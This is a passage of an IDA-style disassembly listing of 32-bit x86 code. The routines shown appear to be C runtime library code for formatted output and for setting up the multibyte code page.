		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C540
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8DC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8D4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C540
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC704
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C550

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C640
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28A0000h
		nop
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		cmp	[ebp+var_18], 1
		mov	dword_4DC704, esi
		rep stosd
		stosb
		mov	dword_4DC924, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC821[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C560[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C548[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC821[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC71C, 1
		push	eax
		mov	dword_4DC704, eax
		call	sub_42008C
		lea	esi, dword_43C554[esi]
		mov	edi, offset dword_4DC710
		movsd
		movsd
		pop	ecx
		mov	dword_4DC924, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC821[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC924, eax
		mov	dword_4DC71C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC71C, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC710
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB330, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB330, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB330, 1
		jmp	near ptr 2650901h
; ---------------------------------------------------------------------------
		cmpsb

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB330, 1
		nop
		jmp	near ptr 28A068Fh
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB374
		mov	dword_4DB330, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC820
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC710
		mov	dword_4DC704, eax
		mov	dword_4DC71C, eax
		mov	dword_4DC924, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC704
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC924
		push	dword_4DC704
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC924
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC924
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC821[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC720[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC821[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC720[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC821[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC720[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
